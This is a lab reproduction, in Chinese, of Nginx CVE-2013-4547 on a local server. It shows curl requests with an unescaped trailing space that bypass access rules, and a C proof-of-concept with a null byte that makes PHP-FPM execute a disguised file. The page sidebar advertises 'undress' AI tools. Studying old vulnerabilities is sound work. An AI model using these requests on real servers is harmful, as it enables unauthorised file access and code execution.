목차
403 Forbidden
백엔드 개발 PHP 튜토리얼 Nginx漏洞CVE-2013-4547复现

Nginx漏洞CVE-2013-4547复现

Jun 23, 2016 pm 01:12 PM

每一个漏洞的面世都是软件开发者的无意和黑客/白客的有意的共同结晶,它们之中大多数的诞生都是在某位或某几位程序猿经历千辛万苦,体验重重空虚寂寞冷之后的产物,以至于每一个漏洞都是如此的身价不菲。能与这些高富帅们勾搭上是我一直以来的梦想,可惜当前能力和时间有限,只能拔一拔它们的裤腿,瞅准了一把抱住,再深情的来一句:土豪,我们做朋友吧。

今天出场的这位高富帅是CVE-2013-4547,属于Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本中存在的安全漏洞,可以看到其影响面非常大,不愧为土豪大佬的身份。具体来说是Nginx程序验证包含未转义空格字符的请求URIs时存在逻辑错误,远程攻击者可以利用该漏洞绕过既定的配置限制,导致信息泄露、系统文件被修改、性能下降或中断资源访问。

漏洞危害利用是黑客针对软件的瑕疵,构造异常的运行环境,让软件的瑕疵暴露出来,从而获取非法利益。我个人认为漏洞危害利用有三个要素:

1,软件存在漏洞(瑕疵):所有软件都会有漏洞,如果没有漏洞,那说明还没发现,如果还足够称得上是软件的话。

2,构造漏洞暴露的条件:这个条件的构造应该是非常苛刻的,非常难的,如果很容易,那可能需要考虑一下,这个是否是后门,而不是漏洞。或者,好吧,也许真有这种情况,毕竟现在在培训学校里学习三天就开始写软件的人也有大把。

3,不当得利:我有八字真言:“玩玩而已,何必当真。”,一般人我不告诉他,得此精髓的人都被关在小黑屋里捡肥皂去了。

不说废话,下面看看如何借助CVE-2013-4547来干些坏事。纯理论学习啊,后果自负啊!说说可以啊,不要动手啊!

第一部分:信息泄漏,即通过该漏洞访问保护的文件。1,首先得找个有该漏洞的Nginx WebServer,我这里在CentOS 6.2环境下随便安装一个吧,

[root@localhost gqk]# tar xf nginx-1.4.0.tar.gz[root@localhost gqk]# cd nginx-1.4.0[root@localhost nginx-1.4.0]# ./configure --with-debug --without-http_rewrite_module[root@localhost nginx-1.4.0]# make & make install
로그인 후 복사

configure的选项没什么特别的,加上debug只是方便调试,去除rewrite_module是因为我现在的环境没有pcre库,因为不影响这个漏洞,所以直接去掉了。

2,启动Nginx看看是否基本ok

[root@localhost nginx-1.4.0]# /usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf

通过wget访问http://127.0.0.1

[root@localhost nginx-1.4.0]# wget –debug http://127.0.0.1

嗯,ok。

3,构造环境

根据注1的介绍,

a)我们需要修改Nginx配置文件,增加一个保护目录,该目录不让用户访问:

location /protected/ {        deny all;    }
로그인 후 복사

修改了配置,所以需要重启Nginx:/usr/local/nginx/sbin/nginx -s reload

b)需要web目录下有一个带有空格的文件夹:

[root@localhost html]# ls -F50x.html  dir1/  dir 2/  dir3 /  index.html  protected/[root@localhost html]# ls protectedsec.html
로그인 후 복사

为了对比测试,我建立了四个文件夹(注意上面第一条命令,我给ls加了-F参数,所以如果是文件夹,它会在后面带上斜杠):

dir1:没有任何空格

“dir 2″:中间有个空格

“dir3 “:末尾有个空格

protected:保护目录,同时该目录下还有个sec.html的文件

c)构造请求构造的请求uri里的空格不能被编码,而浏览器或wget都会自动把空格编码为%20,因此我改用curl。

4,对比测试a)直接请求sec.html,当然是被拒绝的,因为我们配置了保护protected目录的策略:

[root@localhost ~]# curl "http://127.0.0.1/protected/sec.html"<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>1b)构造特殊请求:1[root@localhost ~]# curl http://127.0.0.1/dir1/../protected/sec.html<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>[root@localhost ~]# curl "http://127.0.0.1/dir 2/../protected/sec.html"<html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1 id="Forbidden">403 Forbidden</h1></center><hr><center>nginx/1.4.0</center></body></html>[root@localhost ~]# curl "http://127.0.0.1/dir3 /../protected/sec.html"<h1>This is a secret document.<h1/>
로그인 후 복사

看到了吗?第三个构造的请求成功突破Nginx的保护策略而获取到被保护目录下的文件内容。

5,实际可应用程度

从上面的描述可以看到,要触发这个漏洞需要好几个条件:

a)Nginx 0.8.41至1.4.3版本和1.5.7之前的1.5.x版本。这个容易有,毕竟涉及的版本有这么多。

b)需要WebServer管理员对目录的保护采用这种普通字符匹配的策略,如果是其他保护策略(比如^~或~*),则条件满足失败。因特网站点千千万万,通过搜索肯定还是有这样配置的Nginx WebServer站点。

c)需要文件名末尾带有空格的文件夹,其他形式失败。怎么做?通过WebServer里站点提供的上传服务(如果有的话),上传对应的文件夹或压缩文件(如果服务器有提供解压功能)到服务器,然后期望服务器存储时没有对上传文件进行重命名而保留了空格。这个,有点难,现在的Web应用应该都会对高危文件(上传文件)做处理,比如改名是起码的。但是,慢慢的抠吧,成功就在不远处,如你的女神一般,永远那么飘渺。。。不过,也有逆袭的,是吧。。。

第二部分:未授权执行,即让Php引擎执行非php文件。

1,根据注1的内容,上面介绍的只是CVE-2013-4547的其中一个应用,即查看保护数据。而CVE-2013-4547的另外一个应用是恶意脚本非法执行,下面以php脚本为例,具体来看。

配置Nginx+Php环境,Php现在很流行。

下载php源码进行安装

[root@localhost gqk]# tar xf php-5.5.33.tar.bz2[root@localhost gqk]# cd php-5.5.33[root@localhost php-5.5.33]# ./configure --enable-fpm[root@localhost php-5.5.33]# make[root@localhost php-5.5.33]# make install
로그인 후 복사

注意configure带的选项,需要打开fpm,如果要开启其他功能,比如mysql,请使用–with-mysql=…选项。所有选项可以通过configure的–help查看。准备配置文件:

[root@localhost php-5.5.33]# cp php.ini-production /usr/local/etc/php.ini[root@localhost php-5.5.33]# mv /usr/local/etc/php-fpm.conf.default /usr/local/etc/php-fpm.conf[root@localhost php-5.5.33]# php-fpm[root@localhost php-5.5.33]# netstat -natp | grep 9000
로그인 후 복사

如果可以grep到对应的php-fpm进程,说明php安装初步ok了。

需要重新编译Nginx,让它支持PCRE。

首先从http://www.pcre.org/下载pcre-8.38.tar.gz,然后三板斧./configure & make & make install安装。

如果后门Nginx出现找不到pcre库的报错,比如:

/usr/local/nginx/sbin/nginx: error while loading shared libraries: libpcre.so.1: cannot open shared object file: No such file or directory

那么可能需要在PCRE的configure时指定lib目录到/usr/lib64:

./configure –prefix=/usr –libdir=/usr/lib64

其次,重新编译Nginx就是在configure时不要带上–without-http_rewrite_module。修改Nginx配置文件,加上PHP支持:

location ~ \.php$ {    root html;    fastcgi_pass 127.0.0.1:9000;    fastcgi_index index.php;    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;    include fastcgi_params;}
로그인 후 복사

最后,写个简单的test.php测试一下,

访问确保php正常解析。

2,构造环境

a)在默认配置下,Php-fpm只让php引擎执行php后缀的文件,因此第一个条件是要修改配置文件

/usr/local/etc/php-fpm.conf

把里面的limit_extensions设置为空。

; Note: set an empty value to allow all extensions.; Default Value: .phpsecurity.limit_extensions =
로그인 후 복사

b)在web目录下新增一个文件”cve.jpg “(注意这是一个末尾带有空格的文件),内容为php代码:

<?phpecho "Illegal execution.";?>
로그인 후 복사

c)我们构造一个伪造请求,请求的地址为”/cve.jpg \0.php”,注意两点:

i)其中的空格没有编码

ii)\0是一个字符,是零,是字符串的结束字符。

3,测试

伪造请求,因为我们要伪造的请求里包含有字符串的结束字符\0,因此curl命令貌似是不能用了,至少我暂时是还不知道怎么传递这个\0给curl命令,可能有办法,需要查手册。

不过因为我之前研究Nginx时,写过这样的Http请求代码来调试Nginx逻辑,所以先直接用这个可行的办法,代码如下:

/** * gcc -Wall -g -o bogus_request bogus_request.c */#include <sys/types.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <errno.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <unistd.h>char req_header[] = "GET /cve.jpg \0.php HTTP/1.1\r\nUser-Agent: curl/7.19.7\r\nHost: 127.0.0.1\r\nAccept: */*\r\n\r\n";#define MAX_DATA_LEN (1024)char res_data[MAX_DATA_LEN];int main(int argc, char *const *argv){      int sockfd;      struct sockaddr_in server_addr;      if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) == -1) {             fprintf (stderr, "Socket error,%s\r\n", strerror (errno));             return -1;      }          bzero (&server_addr, sizeof (server_addr));      server_addr.sin_family = AF_INET;      server_addr.sin_port = htons (80);          if(!inet_aton("127.0.0.1", &server_addr.sin_addr)) {             fprintf (stderr, "Bad address:%s\r\n", strerror (errno));             close (sockfd);             return -1;      }          if (connect (sockfd, (struct sockaddr *) (&server_addr),             sizeof (struct sockaddr)) == -1) {             fprintf (stderr, "Connect Error:%s\r\n", strerror (errno));             close (sockfd);             return -1;      }          write (sockfd, req_header, sizeof(req_header) - 1);	  	  for (;;) {             read (sockfd, res_data, MAX_DATA_LEN);             printf ("res:%s", res_data);      }      close (sockfd);      return 0;}
로그인 후 복사

编译执行看结果:

[root@localhost ~]# gcc -Wall -g -o bogus_request bogus_request.c -O0[root@localhost ~]# ./bogus_request res:HTTP/1.1 200 OKServer: nginx/1.4.0Date: Wed, 23 Mar 2016 10:04:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: PHP/5.5.3312Illegal execution.0
로그인 후 복사

可以看到我们成功利用漏洞欺骗Nginx误以为”cve.jpg \0.php”是一个Php脚本而传递给Php-fpm的Php引擎进行执行,而Php引擎在查找定位文件”cve.jpg \0.php”时又被\0截断,导致最终执行的脚本文件是”cve.jpg “。

4,实际可应用程度因为同样要构造文件名末尾带空格的文件,因此这个漏洞其实难以被真正利用。原因在前面提到过了,不再多说。不过这只是Linux下的情况,那Windows环境下又如何呢?

第三部分:Windows环境

这个漏洞在Windows环境下的利用价值就大大增强了,因为漏洞利用的前置条件”文件名末尾带空格的文件”不再需要。Windows下的API在读取文件时,会自动忽略对应文件名后的空格,也就是:

read “a.txt ” -> 实际读取的是文件”a.txt”

write “b.txt ” -> 实际写的是文件”b.txt”

下面是测试代码(VC6下测试,注2):

#include "stdafx.h"#include <windows.h> int main(int argc, char* argv[]){	HANDLE hFile = CreateFile("a.txt ",GENERIC_WRITE|GENERIC_READ, 0,		NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); 	if (hFile ==INVALID_HANDLE_VALUE) {		printf("openfailed!");	} else {		printf("fileopened");	}	CloseHandle(hFile);	return 0;}
로그인 후 복사

注意程序里用的是”a.txt “,而我们准备一个”a.txt”文件在对应路径下,上面的代码也可以正常打开,输出”fileopened”。事实上,在Windows的文件管理里,新建文件时,在文件名后带上空格,敲回车后生成的新文件文件名是没有带空格的,即被自动过滤掉了。也许就是和上面同样的原因。

正因为在Windows下去掉了这个最困难的前置条件,所以该漏洞的可利用程度就大大提高了。

第四部分:Nginx相关漏洞代码分析暂略,不想写了,囧。

注1:http://mailman.nginx.org/pipermail/nginx-announce/2013/000125.html?_ga=1.47291106.451110384.1458696222注2:http://drops.wooyun.org/tips/2006

转载请保留地址: http://www.lenky.info/archives/2016/04/2488或 http://lenky.info/?p=2488

备注:如无特殊说明,文章内容均出自Lenky个人的真实理解而并非存心妄自揣测来故意愚人耳目。由于个人水平有限,虽力求内容正确无误,但仍然难免出错,请勿见怪,如果可以则请留言告之,并欢迎来 信讨论。另外值得说明的是,Lenky的部分文章以及部分内容参考借鉴了网络上各位网友的热心分享,特别是一些带有完全参考的文章,其后附带的链接内容也许更直接、更丰富,而我只是做了一下归纳&转述,在此也一并表示感谢。关于本站的所有技术文章,欢迎转载,但请遵从 CC创作共享协议,而一些私人性质较强的心情随笔,建议不要转载。

法律:根据最新颁布的《信息网络传播权保护条例》,如果您认为本文章的任何内容侵犯了您的权利,请以 Email或书面等方式告知,本站将及时删除相关内容或链接。

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

Video Face Swap

Video Face Swap

완전히 무료인 AI 얼굴 교환 도구를 사용하여 모든 비디오의 얼굴을 쉽게 바꾸세요!

인기 기사

<gum> : Bubble Gum Simulator Infinity- 로얄 키를 얻고 사용하는 방법
4 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
Nordhold : Fusion System, 설명
4 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌
Mandragora : 마녀 트리의 속삭임 - Grappling Hook 잠금 해제 방법
3 몇 주 전 By 尊渡假赌尊渡假赌尊渡假赌

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)

PHP에서 보안 비밀번호 해싱을 설명하십시오 (예 : Password_hash, Password_Verify). 왜 MD5 또는 SHA1을 사용하지 않습니까? PHP에서 보안 비밀번호 해싱을 설명하십시오 (예 : Password_hash, Password_Verify). 왜 MD5 또는 SHA1을 사용하지 않습니까? Apr 17, 2025 am 12:06 AM

PHP에서 Password_hash 및 Password_Verify 기능을 사용하여 보안 비밀번호 해싱을 구현해야하며 MD5 또는 SHA1을 사용해서는 안됩니다. 1) Password_hash는 보안을 향상시키기 위해 소금 값이 포함 된 해시를 생성합니다. 2) Password_verify 암호를 확인하고 해시 값을 비교하여 보안을 보장합니다. 3) MD5 및 SHA1은 취약하고 소금 값이 부족하며 현대 암호 보안에는 적합하지 않습니다.

스칼라 유형, 반환 유형, 노조 유형 및 무효 유형을 포함한 PHP 유형의 힌트 작업은 어떻게 작동합니까? 스칼라 유형, 반환 유형, 노조 유형 및 무효 유형을 포함한 PHP 유형의 힌트 작업은 어떻게 작동합니까? Apr 17, 2025 am 12:25 AM

PHP 유형은 코드 품질과 가독성을 향상시키기위한 프롬프트입니다. 1) 스칼라 유형 팁 : PHP7.0이므로 int, float 등과 같은 기능 매개 변수에 기본 데이터 유형을 지정할 수 있습니다. 2) 반환 유형 프롬프트 : 기능 반환 값 유형의 일관성을 확인하십시오. 3) Union 유형 프롬프트 : PHP8.0이므로 기능 매개 변수 또는 반환 값에 여러 유형을 지정할 수 있습니다. 4) Nullable 유형 프롬프트 : NULL 값을 포함하고 널 값을 반환 할 수있는 기능을 포함 할 수 있습니다.

PHP와 Python : 다른 패러다임이 설명되었습니다 PHP와 Python : 다른 패러다임이 설명되었습니다 Apr 18, 2025 am 12:26 AM

PHP는 주로 절차 적 프로그래밍이지만 객체 지향 프로그래밍 (OOP)도 지원합니다. Python은 OOP, 기능 및 절차 프로그래밍을 포함한 다양한 패러다임을 지원합니다. PHP는 웹 개발에 적합하며 Python은 데이터 분석 및 기계 학습과 같은 다양한 응용 프로그램에 적합합니다.

PHP 및 Python : 코드 예제 및 비교 PHP 및 Python : 코드 예제 및 비교 Apr 15, 2025 am 12:07 AM

PHP와 Python은 고유 한 장점과 단점이 있으며 선택은 프로젝트 요구와 개인 선호도에 달려 있습니다. 1.PHP는 대규모 웹 애플리케이션의 빠른 개발 및 유지 보수에 적합합니다. 2. Python은 데이터 과학 및 기계 학습 분야를 지배합니다.

PHP에서 SQL 주입을 어떻게 방지합니까? (준비된 진술, pdo) PHP에서 SQL 주입을 어떻게 방지합니까? (준비된 진술, pdo) Apr 15, 2025 am 12:15 AM

PHP에서 전처리 문과 PDO를 사용하면 SQL 주입 공격을 효과적으로 방지 할 수 있습니다. 1) PDO를 사용하여 데이터베이스에 연결하고 오류 모드를 설정하십시오. 2) 준비 방법을 통해 전처리 명세서를 작성하고 자리 표시자를 사용하여 데이터를 전달하고 방법을 실행하십시오. 3) 쿼리 결과를 처리하고 코드의 보안 및 성능을 보장합니다.

PHP : 데이터베이스 및 서버 측 로직 처리 PHP : 데이터베이스 및 서버 측 로직 처리 Apr 15, 2025 am 12:15 AM

PHP는 MySQLI 및 PDO 확장 기능을 사용하여 데이터베이스 작업 및 서버 측 로직 프로세싱에서 상호 작용하고 세션 관리와 같은 기능을 통해 서버 측로 로직을 처리합니다. 1) MySQLI 또는 PDO를 사용하여 데이터베이스에 연결하고 SQL 쿼리를 실행하십시오. 2) 세션 관리 및 기타 기능을 통해 HTTP 요청 및 사용자 상태를 처리합니다. 3) 트랜잭션을 사용하여 데이터베이스 작업의 원자력을 보장하십시오. 4) SQL 주입 방지, 디버깅을 위해 예외 처리 및 폐쇄 연결을 사용하십시오. 5) 인덱싱 및 캐시를 통해 성능을 최적화하고, 읽을 수있는 코드를 작성하고, 오류 처리를 수행하십시오.

PHP의 목적 : 동적 웹 사이트 구축 PHP의 목적 : 동적 웹 사이트 구축 Apr 15, 2025 am 12:18 AM

PHP는 동적 웹 사이트를 구축하는 데 사용되며 해당 핵심 기능에는 다음이 포함됩니다. 1. 데이터베이스와 연결하여 동적 컨텐츠를 생성하고 웹 페이지를 실시간으로 생성합니다. 2. 사용자 상호 작용 및 양식 제출을 처리하고 입력을 확인하고 작업에 응답합니다. 3. 개인화 된 경험을 제공하기 위해 세션 및 사용자 인증을 관리합니다. 4. 성능을 최적화하고 모범 사례를 따라 웹 사이트 효율성 및 보안을 개선하십시오.

PHP와 Python 중에서 선택 : 가이드 PHP와 Python 중에서 선택 : 가이드 Apr 18, 2025 am 12:24 AM

PHP는 웹 개발 및 빠른 프로토 타이핑에 적합하며 Python은 데이터 과학 및 기계 학습에 적합합니다. 1.PHP는 간단한 구문과 함께 동적 웹 개발에 사용되며 빠른 개발에 적합합니다. 2. Python은 간결한 구문을 가지고 있으며 여러 분야에 적합하며 강력한 라이브러리 생태계가 있습니다.

See all articles